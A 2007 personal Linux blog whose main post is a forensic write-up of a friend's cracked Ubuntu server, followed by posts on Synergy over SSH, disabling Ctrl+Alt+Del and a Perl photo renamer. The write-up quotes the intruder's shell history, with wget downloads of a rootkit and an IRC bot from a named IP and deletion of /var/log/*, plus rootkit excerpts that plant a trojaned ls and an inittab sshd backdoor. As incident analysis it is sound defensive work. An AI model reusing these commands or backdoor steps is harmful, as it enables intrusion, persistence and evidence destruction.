9 Apr 2007

Holiday cracking

A friend of mine asked me to have a look at his Linux-server. "It behaves strangely" he said, most notably the web-server apache refused to start. It turned out to be more than just a problem with apache.

I already had an account, so I started to poke around. The first thing I noticed was some strange ls behavior:

 lars@server1:~$ ls
 ls: invalid option -- h
 Try `ls --help' for more information.

That's odd.. Why don't "ls" take "-h" all of a sudden?? I had aliased "ls, so I unaliased it and it worked fine:

 lars@server1:~$ alias ls
 alias ls='ls -sh --color=auto'
 lars@server1:~$ unalias ls
 lars@server1:~$ ls
 backup
 lars@server1:~$

Strange. I'll have too look into that later, but first get apache up and running:

 lars@server1:~$ sudo /etc/init.d/apache2 start
 Password:
  * Starting apache 2.0 web server...
 (2): apache2: could not open error log file /var/log/apache2/error.log.
 Unable to open logs
    ...fail!

Ookay..? A quick peek into "/var/log/" revealed that "apache2/" was missing, but so was all other directories usually found under there as "mysql/", "exim4/", "samba/" and so on. Something was wrong alright. Did my friend accidentally delete everything by mistake?? He claimed not to. I logged in as root to fix the missing directories:

 lars@server1:~$ sudo -i
 Password:
 root@server1:~# ls
 ls: unrecognized prefix: do
 ls: unparsable value for LS_COLORS environment variable
 total 44
   4 .                 4 .bashrc           4 .ssh
   4 ..                4 .lesshst          8 .viminfo
   8 .bash_history     4 .profile          4 .vimrc

Even more "ls" trouble? Again, "ls" is aliased:

 root@server1:~# alias ls
 alias ls='ls -sa --color=auto'
 root@server1:~# unalias ls
 root@server1:~# ls
 root@server1:~#

By now, I really suspected that something was very very wrong. Misbehaving "ls" and missing a bunch of stuff under "/var/log/". My suspicion was confirmed when I examined root's ".bash_history":

root@server1:~# cat -n .bash_history
   ...
   340  w
   341  cd /var
   342  wget http://83.19.148.250/~matys/pliki/shv5.tar.gz
   343  tar -zxf shv5.tar.gz
   344  rm -rf shv5.tar.gz
   345  mv shv5 .x
   346  cd .x
   347  ./setup zibi.joe.149 54098
   348  passwd
   349  passwd
   350  ps aux
   351  crontab -l
   352  cat /etc/issue
   353  cat /etc/passwd
   354  w
   355  who
   356  cd /usr/lib/libsh
   357  ls
   358  hide +
   359  chmod +x hide
   360  hide +
   361  ./hide +
   362  cd /var/.x
   363  mkdir psotnic
   364  cd psotnic
   365  wget http://83.19.148.250/~matys/pliki/psotnic0.2.5.tar.gz
   366  tar -zxf psotnic0.2.5.tar.gz
   367  rm -rf psotnic0.2.5.tar.gz
   368  ls
   369  mv psotnic-0.2.5-linux-static-ipv6 synscan
   370  ./synscan
   371  vi conf
   372  vi conf1
   373  mv synscan smbd
   374  smbd -c conf
   375  ls
   376  ps aux
   377  ls
   378  ./smbd -c conf
   379  ./smbd -c conf1
   380  ./smbd conf
   381  ./smbd conf1
   382  ./smbd -a conf conf1
   383  rm -rf conf.dec
   384  rm -rf conf1.dec
   385  cd /usr/lib/libsh
   386  ./hide +
   387  exit
   ...
   425  ssh ftp@62.101.251.166
   426  w
   427  ls
   428  ls
   429  cd /var/.x
   430  ls
   431  cd psotnic/
   432  ls
   433  rm -rf /var/log/*
   434  exit
   435  ls
   436  cd /var/.x/psotnic/
   437  ls
   438  vi conf2
   439  ./smbd -c conf2
   440  ./smbd conf2
   441  ./smbd -a conf conf1 conf2
   442  rm -rf conf2.dec
   443  cd ..
   444  ls
   445  cd /usr/lib/libsh
   446  hide +
   447  ./hide +
   448  exit
   449  ps aux
   450  cd /var/.x
   451  ls
   452  ls
   453  cd psotnic/
   454  ls
   455  cat pid.MastaH
   456  kill -9 2030
   457  ./synscan -a conf conf1
   458  ./smbd -a conf conf1
   459  cd /usr/lib/libsh
   460  ./hide +
  ...

Woha! The box had been cracked alright! I found this quite exciting, but obviously, my friend did not. The attacker did one elementary error by not wiping out ".bash_history" - so this is probably not the only error he/she has done. Let's start dissecting this little crack.

First. What is hiding under "/var/.x/" and what does the command "setup zibi.joe.149 54098" do?

root@server1:/var/.x# file setup
setup: Bourne-Again shell script text executable
root@server1:/var/.x# wc -l setup
825 setup
root@server1:/var/.x# head -17 setup
#!/bin/bash
#
# shv5-internal-release
# by: PinT[x] April/2003
#
# greetz to:
#
# [*] SH-members: BeSo_M, grass^, toolman, nobody, niceboy, armando99
#                 C00L|0, GolDenLord, Spike, zion ...
# [*] Alba-Hack : 2Cool, heka, TheMind, ex-THG members ...
# [*] SH-friends: mave, AlexTG, Cat|x, klex, JinkS ...
# [*] tC-members: eksol, termid, hex, keyhook, maher, tripod etc..
# [*] And all others who diserve to be here but i forgot
# [*] them at the moment !
#
# PRIVATE ! DO NOT DISTRIBUTE *censored*EZ !

Now, this little shell script does all kinds of nasty stuff, like installing a modified ssh backdoor disguised as "/bin/ttyload" which is then added to "/etc/inittab" for automatic startup at boot:

mv $SSHDIR/sshd /sbin/ttyload
chmod a+xr /sbin/ttyload
chmod o-w /sbin/ttyload
touch -acmr /bin/ls /sbin/ttyload
chattr +isa /sbin/ttyload
kill -9 `pidof ttyload` >/dev/null 2>&1
....
# INITTAB SHUFFLING
chattr -isa /etc/inittab
cat /etc/inittab |grep -v ttyload|grep -v getty > /tmp/.init1
cat /etc/inittab |grep getty > /tmp/.init2
echo "# Loading standard ttys" >> /tmp/.init1
echo "0:2345:once:/usr/sbin/ttyload" >> /tmp/.init1

It also backdoor a bunch of standard linux commands:

# Backdoor ps/top/du/ls/netstat/etc..
cd $BASEDIR/bin
BACKUP=/usr/lib/libsh/.backup
mkdir $BACKUP
...
# ls ...
chattr -isa /bin/ls
cp /bin/ls $BACKUP
mv -f ls /bin/ls
chattr +isa /bin/ls

This explains why "ls" misbehavied!

root@server1:/var/.x# ls -l /usr/lib/libsh/.backup/
total 552
-rwxr-xr-x   1 root     root       126276 Dec 24 22:58 find
-rwxr-xr-x   1 root     root        59012 Dec 24 22:58 ifconfig
-rwxr-xr-x   1 root     root        77832 Dec 24 22:58 ls
-rwxr-xr-x   1 root     root        30388 Dec 24 22:58 md5sum
-rwxr-xr-x   1 root     root        99456 Dec 24 22:58 netstat
-rwxr-xr-x   1 root     root        65492 Dec 24 22:58 ps
-rwxr-xr-x   1 root     root        14016 Dec 24 22:58 pstree
-rwxr-xr-x   1 root     root        50180 Dec 24 22:58 top

Oh - and look at the timestamp. This was done at christmas!

Clearly the original "ls" and the newly installed "ls" are different, as md5 fingerprint and file shows:

root@server1:~# md5sum /usr/lib/libsh/.backup/ls /bin/ls
eef7ca9dd6be1cc53bac84012f8d1675  /usr/lib/libsh/.backup/ls
0a07cf554c1a74ad974416f60916b78d  /bin/ls

root@server1:~# file /bin/ls
/bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked
(uses shared libs), for GNU/Linux 2.0.0, stripped

root@server1:~# file /usr/lib/libsh/.backup/ls
/usr/lib/libsh/.backup/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked
(uses shared libs), for GNU/Linux 2.6.0, stripped

The backdoor toolkit ("sh5.tar.gz") was downloaded from:

root@server1:~# dig +short -x 83.19.148.250
4lo.bydg.pl.

I can't make much out of the site, since it's in polish. The attacker probably don't have any connection to this site - I don't think he is that foolish, but then again - he has done several severe mistakes.

The output of the "setup" command, as run by the attacker, can be seen in the screen shot (I was running this on sandboxed server at home):





Okay, so "zibi.joe.149" is the password and "54098" is the port number. It's running and (old) sshd from ssh.com, as seen from the screen shot:

Nice colors.

The backdoor is installed. The next step is to install an irc-bot and make it an zombie. That is what "psotnic0.2.5.tar.gz" contains. The attacker extract and rename the irc-bot to "smbd", which happens to be the same as Samba's daemons ("smbd" and "nbmd").

Next he creates two configuration files, which contains which irc-server to connect to, and which channel to join etc. The config files are then encrypted, and the clear-text ones are deleted:

   371  vi conf
   372  vi conf1
   ....
   378  ./smbd -c conf
   379  ./smbd -c conf1
   380  ./smbd conf
   381  ./smbd conf1
   382  ./smbd -a conf conf1

Let's execute command 382 to see what it does:

root@server1:/var/.x/psotnic# ./smbd -a conf conf1

Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)
Copyright (C) 2003-2005 Grzegorz Rusin

[+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1
[+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1
[+] Added 2 psotnics to cron

Aha! So it gets added to cron:

root@server1:/var/.x/psotnic# crontab -l
*/10 * * * * cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1
*/10 * * * * cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1

At this time I killed off the two hostile smbd-processes and disabled the cron-job. I fired up a tcpdump in another shell and started the two processes manually:

root@server1:~# cd /var/.x/psotnic; ./smbd conf

Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)
Copyright (C) 2003-2005 Grzegorz Rusin

[*] Acting as LEAF
[+] Config loaded
[+] Going into background [pid: 5724]
root@server1:/var/.x/psotnic# ./smbd conf1

Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)
Copyright (C) 2003-2005 Grzegorz Rusin

[*] Acting as LEAF
[+] Config loaded
[+] Going into background [pid: 5727]
root@server1:/var/.x/psotnic#

These two processes show up using (our backdoored) "ps", so I guess that why the attacker renamed it to "smbd":

root@server1:/var/.x/psotnic# ps axuw | grep smb
root      3799  0.0  0.4  8592 2156 ?        S    11:00   0:00 /usr/sbin/smbd -D
root      3808  0.0  0.1  8592  896 ?        S    11:00   0:00 /usr/sbin/smbd -D
root      5724  0.0  0.1  1648  772 pts/2    S    12:47   0:00 ./smbd conf
root      5727  0.0  0.1  1640  764 pts/2    S    12:47   0:00 ./smbd conf1

The first two are the real samba, the next two are the irc-bot. Let's strace it to see what it does:

root@server1:~# strace -p 5727
...
connect(3, {sa_family=AF_INET, sin_port=htons(9714), sin_addr=inet_addr("83.18.74.235")}, 16) = -1 EINPROGRESS (Operation now in progress)
...
connect(4, {sa_family=AF_INET, sin_port=htons(6667), sin_addr=inet_addr("195.159.0.92")}, 16) = -1 EINPROGRESS (Operation now in progress)

So it tries to connect to IP-address 83.18.74.235 on port 9714 and 195.159.0.92 on port 6667 (this port is used for irc-servers):

root@server1:~# dig +short -x 83.18.74.235
manhattan.na.pl.
root@server1:~# dig +short -x 195.159.0.92
ircnet.irc.powertech.no.

Another polish host. The other IP-adress, "ircnet.irc.powertech.no" is a CNAME for "irc.powertech.no", a well known irc-server here in Norway.

Using the tcpdump, I identified one network-stream to irc-server irc.powertech.no. As these snippets show, they show the smbd connecting to "irc.powertech.no", and joining channel "#aik":

:irc.powertech.no 001 578PAB9NB :Welcome to the Internet Relay Network 578PAB9NB!~op@ti231210a080-3666.bb.online.no
:irc.powertech.no 002 578PAB9NB :Your host is irc.powertech.no, running version 2.11.1p1

:578PAB9NB!~op@ti231210a080-3666.bb.online.no JOIN :#aik
:irc.powertech.no 353 578PAB9NB @ #aik :578PAB9NB kknd raider brandyz jpi conf xerkoz IpaL vvo
:irc.powertech.no 366 578PAB9NB #aik :End of NAMES list.
:irc.powertech.no 352 578PAB9NB #aik ~op ti231210a080-3666.bb.online.no irc.powertech.no 578PAB9NB G :0 op - GTW
:irc.powertech.no 352 578PAB9NB #aik ~kknd ti231210a080-3666.bb.online.no irc.hitos.no kknd H :2 kknd - GTW
:irc.powertech.no 352 578PAB9NB #aik ~raider mobitech-70.max-bc.spb.ru *.dotsrc.org raider G :4 raider - GTW
:irc.powertech.no 352 578PAB9NB #aik ~brandyz mobitech-70.max-bc.spb.ru *.dotsrc.org brandyz G :4 brandyz - GTW
:irc.powertech.no 352 578PAB9NB #aik ~jpi p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp jpi G :8 jpi - GTW
:irc.powertech.no 352 578PAB9NB #aik ~conf p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp conf G :7 conf - GTW
:irc.powertech.no 352 578PAB9NB #aik ~xerkoz p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp xerkoz H :7 xerkoz - GTW
:irc.powertech.no 352 578PAB9NB #aik lm campus19.panorama.sth.ac.at *.at IpaL H :5 .LaPi.9@.IRCNet..
:irc.powertech.no 352 578PAB9NB #aik ~vvo ppp86-7.intelcom.sm *.tiscali.it vvo H :6 vvo - GTW
:irc.powertech.no 315 578PAB9NB #aik :End of WHO list.

This is just the raw network traffic of the irc-session joining channel #aik and listing all other members on that channel. I decided to join that channel myself (notice the nice underground nick: "viper42"). I was surprised not to be asked for any channel password (not that it would matter). I guess our attacker made another bummer:

17:43 -!- viper42 [~viper42@trinity.gnist.org] has joined #aik
17:43 [Users #aik]
17:43 [ 578PAB9NL] [ conf] [ jpi ] [ raider ] [ vvo   ]
17:43 [ brandyz  ] [ IpaL] [ kknd] [ viper42] [ xerkoz]
17:43 -!- Irssi: #aik: Total of 10 nicks [0 ops, 0 halfops, 0 voices, 10 normal]
17:43 -!- Irssi: Join to #aik was synced in 1 secs

I found my friends server with the nick "578PAB9NB" and some other machines. These zombies are probably just waiting for the attacker to join the channel and give orders. Or perhaps the attacker already are lurking there. All have "* - GTW" at the end of their nick, except one:

17:45 [powertech] -!- IpaL [lm@campus19.panorama.sth.ac.at]
17:45 [powertech] -!-  ircname  : LaPi@IRCNet
17:45 [powertech] -!-  channels : #relaks #ping @#seks #aik @#ogame.pl
                                  #pingwinaria #hattrick #trade #admin @#!sh
17:45 [powertech] -!-  server   : *.at [\o\  \o/  /o/]

This is the only nick that also have joined more than one channels. Guess I've found my attacker, unless this is a decoy. (Again: The attacker can't be this stupid?!?) I guess I'll just hang around for a few days just to see if anything interesting comes up. The hostname resolves to:

$ dig +short campus19.panorama.sth.ac.at
193.170.51.84

And according to RIPE this IP-address belongs to Vienna University Computer Center. I asked them ( cert at aco net ) to take a closer look at the hostname in question and got an answer just hours later:

From: Alexander Talos via RT
To: larstra@ifi.uio.no
Subject: Cracker at campus19.panorama.sth.ac.at (193.170.51.84)  [ACOnet CERT #38603]
Date: Fri, 18 May 2007 18:22:43 +0200 (CEST)
Reply-To: cert@aco.net

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hej!

On Fri May 18 14:45:03 2007, larstra@ifi.uio.no wrote:

> I have been tracking down cracker which connected from
> campus19.panorama.sth.ac.at (193.170.51.84). The user, which

Ouch. panorama.sth.ac.at is a dormitory with about 4k rooms all
behind a NAT gateway - it will be very hard to get hold of the
miscreant.

This incident will, in the long run, definitely help me getting
rid of the NAT boxes in setups like that, but right now, we will
have to make do with what we have.

> Please investigate the host in question. Perhaps is this a
> compromised host on your network acting as a jumpstation for

Sure, and even in a NATed environment, this is still possible.

Btw, you did a great job in analysing the compromised machine!

I'll let you know when I have either further questions or any
interesting results.

Cheers,

Alexander Talos

- --
IT-Security, Universitaet Wien, ACOnet CERT

T: +43-1-4277-14351  M: +43-664-60277-14351


No luck there I'm afraid..

Oh, - and I tried to log in using ssh (on port 54098) on all zombies listed here, but no ports where open. The other zombies are probably using other ports for the ssh backdoor.

The other identified network stream, destined to "83.18.74.235" was garbled, so it's time to fire up up strace again:

root@server1:/var/.x/psotnic# strace -f ./smbd conf1 &> /root/dump.strace


As expected, this creates a lot of output. Among other things, it tries to start the irc-client "BitchX":

[pid  7537] execve("/bin/sh", ["sh", "-c", "BitchX -v 2> /dev/null"]

Which fails, since BitchX is not installed:

[pid  7537] write(2, "sh: ", 4)         = 4
[pid  7537] write(2, "BitchX: not found", 17) = 17
[pid  7537] write(2, "n", 1)           = 1
[pid  7537] close(2)                    = 0

You can see some of the traffic from tcpdump in the picture below:

This was just for one of the two smbd-processes. The other connected to the same polish site, and instead of "irc.powertech.no", it connected to "irc.hitos.no", an IRC-server located in Tromsø.

Also, what the cracker did, was to run a program called "hide" to clean entries from various log-files:

root@server1:/usr/lib/libsh# ./hide +
                Linux Hider v2.0 by mave
                enhanced by me!
[+] [Shkupi Logcleaner] Removing + from the logs........ .

[+] /var/log/messages  ... [done]

[+] /var/run/utmp      ... [done]

[+] /var/log/lastlog   ... [done]

[+] /var/log/wtmp      ... [done]

            * m i s s i o n  a c c o m p l i s h e d *

                    p.h.e.e.r  S.H.c.r.e.w

server1:/usr/lib/libsh#

So why did the attacker then wipe out "/var/log/*"? Did he not trust this tool? Did he panicked?

So the box has been compromised, backdoor installed and it's been converted to a zombie. The attacker made several mistakes allowing him to be detected:
  • Forgot to wipe out root's .bash_history.
  • Wiped out everything under "/var/log/*", including directories which several programs relied on and thereby refusing to start. Now, why did he do that? This certainly was stupid.
  • Changed the root-password. Another bummer. Never ever change the root-password. This surely will catch the attention of a sysadmin.
  • Did not password-protect the IRC-channel where all his zombies resides. Not that it doesn't matter much for us, since we would have sniffed that up as soon as the zombie tried to join the channel.
  • Do the attacker still hang around the same channel as all his zombies does (the LaPi-guy)? If so he's just begging to be exposed.
Severeal questions remains:

   1. Why was the command "ssh ftp@62.101.251.166" entered? Did the attacker made a mistake in typing this command or did it serve some other purpose? The IP addres resolves to:

      $ dig +short -x 62.101.251.166
      cA6FB653E.dhcp.bluecom.no.

   2. What kind of traffic goes to 83.18.74.235 (manhattan.na.pl) ?
   3. And the most important question is, how did he get access in the first time? The server was running Ubuntu 6.06 LTS (i386) and was fairly updated. The compromised could be caused by:
          * Guessing the root-password. Unlikely, the password was (fairly) strong.
          * An exploit unknown to the public.
          * A user accessing this server from an already compromised host. The attacker could then sniff the the password.

15 Mar 2007

Synergy - two screens, two OSes

At work I need both Windows and Linux. So I've had a KVM switchbox from blackbox to easily switch between Windows and Linux. The KVM switch is showing it's age, since the display has lately become somewhat fuzzy. Recently I received two new LCD screens, and I decided to get rid of the old fuzzy KVM-switch. I wanted to try out Synergy - which enables two or more screens to be connected to different computers using one mouse and keyboard.

It relies on a client/master software to be installed on each computer. The computer where the mouse and keyboard are (physically) connected are the master. The client(s) then talks to the master over the network. When my mouse pointer leaves my Windows screen, it enters my Linux screen to the right seamlessly. The master then sends all mouse and keyboard signals to the correct host. The keyboard follow the mouse, so when my mouse pointer is on Linux so is my keyboard.

You'll get some nice, and a little bizarre, properties like cut'n'paste between Linux and Windows(!). Another nice feature is the ability to "lock" onto one screen by pressing "Scroll Lock".

Installation is a breeze. On Windows it's just click and install. On Linux, synergy can be found in both Fedora and Debian/Ubuntu packet repositories:

 $ apt-get install synergy

My keyboard and mouse are connected to my Widows computer, so that one is master. Linux is client. First I configure Windows and determine where my screens are (Windows to the left, Linux to the right). Then it's just to fire up synergy:

$ synergyc -f -n lin1016 192.168.3.125
INFO: synergyc.cpp,716: Synergy client 1.3.1 on Linux 2.6.18-1.2239.fc5 #1 Fri Nov 10 13:04:06 EST 2006 i686
DEBUG: CXWindowsScreen.cpp,840: XOpenDisplay(":0.0")
DEBUG: CXWindowsScreenSaver.cpp,339: xscreensaver window: 0x00a00001
DEBUG: CXWindowsScreen.cpp,110: screen shape: 0,0 1280x1024
DEBUG: CXWindowsScreen.cpp,111: window is 0x01400004
DEBUG: CScreen.cpp,38: opened display
NOTE: synergyc.cpp,330: started client

Debug messages when leaving and entering Linux:

INFO: CScreen.cpp,116: leaving screen
DEBUG: CXWindowsClipboard.cpp,313: open clipboard 1
DEBUG: CXWindowsClipboard.cpp,348: close clipboard 1
INFO: CScreen.cpp,98: entering screen

Debug messages when leaving Linux, copy something to the Windows clipboard:

INFO: CScreen.cpp,116: leaving screen
DEBUG: CXWindowsClipboard.cpp,313: open clipboard 1
DEBUG: CXWindowsClipboard.cpp,493: ICCCM fill clipboard 1
DEBUG: CXWindowsClipboard.cpp,512:   available targets: TIMESTAMP (386), TEXT (406),
COMPOUND_TEXT (260), STRING (31), TARGETS (384), LENGTH (468), DELETE (407), FILE_NAME (471),
CHARACTER_POSITION (472), LINE_NUMBER (473), COLUMN_NUMBER (474), OWNER_OS (467),
HOST_NAME (475), USER (463), CLASS (464), NAME (465), ATOM (4), INTEGER (19)
DEBUG: CXWindowsClipboard.cpp,555:   added format 0 for target STRING (31) (6 bytes)
DEBUG: CXWindowsClipboard.cpp,348: close clipboard 1

But there is one serious problem with this setup. Every keystroke are transmitted unencrypted between the master and client! So a potential eavesdropper could easily sniff all my password entered on Linux. To prevent that, we can tunnel all synergy traffic through SSH.

So, I download Windows version of OpenSSH server from http://sshwindows.sourceforge.net/. It hasn't been updated in a while, but works nicely here on my Win2K computer. I make sure SSH server automatically starts at boot and tries to log in.

Hm. No login? Time to read some documentation. Ok, here we go: Since SSH are based on Cygwin, it needs to extract user data from AD:

  C:\Program Files\OpenSSH\bin>mkgroup -d ..\etc\group
  C:\Program Files\OpenSSH\bin>mkpasswd -d ..\etc\passwd

Try again. Much better:

$ ssh 192.168.3.125

                            ****USAGE WARNING****

This is a private computer system. This computer system, including all
related equipment, networks, and network devices (specifically including
Internet access) are provided only for authorized use. This computer system
may be monitored for all lawful purposes, including to ensure that its use
is authorized, for management of the system, to facilitate protection against
unauthorized access, and to verify security procedures, survivability, and
operational security. Monitoring includes active attacks by authorized entities
to test or verify the security of this system. During monitoring, information
may be examined, recorded, copied and used for authorized purposes. All
information, including personal information, placed or sent over this system
may be monitored.

Use of this computer system, authorized or unauthorized, constitutes consent
to monitoring of this system. Unauthorized use may subject you to criminal
prosecution. Evidence of unauthorized use collected during monitoring may be
used for administrative, criminal, or other adverse action. Use of this system
constitutes consent to monitoring for these purposes.


nblks1@192.168.3.125's password:
CMD.EXE was started with '\\XXXXXX\nblks1$' as the current directory path. 
UNC paths are not supported.  Defaulting to Windows directory.
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT>

Great. Now it's just to set up a tunnel and tell synergy to connect to localhost:

$ ssh -f -N -L 24800:192.168.3.125:24800 192.168.3.125
$ synergyc -n lin1016 localhost
INFO: synergyc.cpp,716: Synergy client 1.3.1 on Linux 2.6.18-1.2239.fc5 #1 Fri Nov 10 13:04:06 EST 2006 i686
DEBUG: CXWindowsScreen.cpp,840: XOpenDisplay(":0.0")
DEBUG: CXWindowsScreenSaver.cpp,339: xscreensaver window: 0x00a00001
DEBUG: CXWindowsScreen.cpp,110: screen shape: 0,0 1280x1024
DEBUG: CXWindowsScreen.cpp,111: window is 0x01400004
DEBUG: CScreen.cpp,38: opened display
NOTE: synergyc.cpp,330: started client

I've enabled both OpenSSH and Synergy to start automatically at boot on Windows. But since I'm tunneling through SSH and other users may use this workspace (and desktops), there no easy way of enabling Synergy automatic without manually typing password. One solution is to use a shared user with ssh-certificates, but neither I nor the security policy permits that. Instead I create a small script that fires up the ssh tunnel and synergy at login. Since it's called from ".xsession" it do need a keyboard on my Linux to type the SSH password - but I can live with that:

$ cat ~/bin/syn.sh
#/bin/sh
xhost +localhost
echo "Setting up ssh-tunnel"
ssh -f -N -L 24800:192.168.3.125:24800 192.168.3.125
echo "Starting synergy"
synergyc -n lin1016 localhost
echo "Remember to shut down the ssh tunnel before you log out!"
sleep 5
$ cat ~/.xsession
...
~/bin/syn.sh
...

12 Mar 2007

Log and disabling Ctrl+Alt+Del

In a server rack, one console are usually shared by several different servers. One rack may contain servers belonging to different departments. One of those departments are usually doomed to have one trigger happy sysadmin. This sysadmin may reboot the wrong server accidentally using Ctrl+Alt+Del. Ever been exposed to one of those? Luckily, it easy to disable Ctrl+Alt+Del on Linux. On Linux, "/etc/inittab" defines what should be done when Ctrl+Alt+Del are pressed. Usually, the file contains something like this:

$ cat /etc/inittab
...
# What to do when CTRL-ALT-DEL is pressed.
ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now
...

So, in runlevel 1-5, the command "shutdown" is to be executed when someone press Ctrl+Alt+Del. It could be changed to anything we'd like. We would like to log the incident and issue a warning to the user on the console:

ca:12345:ctrlaltdel:/usr/bin/logger -t init -s "Ctrl+Alt+Del pressed on console. Use normal shutdown routines."

When someone now tries the "three finger salute", they'll be told to use "normal shutdown routines". The incident are also logged:

# tail -1 /var/log/messages
Mar 12 20:50:19 titan INIT: Ctrl+Alt+Del pressed on console. Use normal shutdown routines.

Update! - Newer Ubuntu uses Upstart and things are a little different. You don't define what action to be taken in /etc/inittab (it no longer exists), but we have to modify a file in /etc/event.d/:

# cat /etc/event.d/control-alt-delete
# control-alt-delete - emergency keypress handling
#
# This task is run whenever the Control-Alt-Delete key combination
# is pressed.  Usually used to shut down the machine.

start on control-alt-delete

#exec /sbin/shutdown -r now "Control-Alt-Delete pressed"
/usr/bin/logger -t init -s "Ctrl+Alt+Del pressed on console. Use normal shutdown routines."

5 Mar 2007

Sort pictures based on Exif date

Recently, I bumped into a problem: I had received pictures from the same event from three different sources (cameras). How could I sort these based on when the pictures were taken?

A small Perl script are born to the rescue. The program "jhead" dumps Exif data contained in JPEG images. Running jhead on a image without options gives:

jhead IMG_1195.JPG
File name : IMG_1195.JPG
File size : 2988387 bytes
File date : 2007:03:04 15:37:34
Camera make : Canon
Camera model : Canon DIGITAL IXUS 800 IS
Date/Time : 2007:02:22 19:17:14
Resolution : 2816 x 2112
Flash used : Yes (auto)
Focal length : 5.8mm (35mm equivalent: 37mm)
CCD width : 5.72mm
Exposure time: 0.017 s (1/60)
Aperture : f/2.8
Whitebalance : Auto
Metering Mode: matrix

The "Date/Time" header gives the time stamp. Renaming the file to the date, would make it easy to sort the pictures in time based on filename:

IMG_1195.JPG --> 20070222_191714.jpg

Instead of manually renaming a couple of hundred images, Perl can do the job:

#!/usr/bin/perl -w
#
# filename: exif_date_sort.pl
#
# Small utility that renames pictures based on the Exif date.
#
# Date: Sun Mar 4 19:13:42 CET 2007
#
# Lars Strand
#

use strict;
use File::Glob qw(:globally :nocase);
use File::Copy;

die "Usage: $0 PATH" if $#ARGV < 0; 

while (@ARGV) { 
   my @filelist = glob($ARGV[0]."*.jpg"); 
   foreach my $file (@filelist) { 
       for my $line (`jhead "$file"`) { 
           if ($line =~ /^Date\/Time\s*:\s*(\d+):(\d+):(\d+)\s*(\d+):(\d+):(\d+)/) { 
              print "$file --> $1$2$3_$4$5$6.jpg\n";
              copy("$file", "$1$2$3_$4$5$6.jpg") or die "Error: Copy failed: $!";
           }
       }
  }
  shift @ARGV;
}

The script takes one or more directories as argument. Every JPG file that has a Exif date header, are copied to a new "date-filename".

Running it gives the following output:

~/exif_date_sort.pl 200702-Veggli/
200702-Veggli/IMG_1196.JPG --> 20070222_194000.jpg
200702-Veggli/IMG_1197.JPG --> 20070222_194007.jpg
200702-Veggli/IMG_1198.JPG --> 20070222_194012.jpg
200702-Veggli/IMG_1200.JPG --> 20070222_194437.jpg
200702-Veggli/IMG_1201.JPG --> 20070222_194443.jpg
200702-Veggli/IMG_1202.JPG --> 20070222_194643.jpg
200702-Veggli/IMG_1203.JPG --> 20070222_194844.jpg
...

.. or, as I'll learned later, you can just alias jhead to:

jhead-iso is aliased to `jhead -n%Y-%m-%d_%H:%M:%S'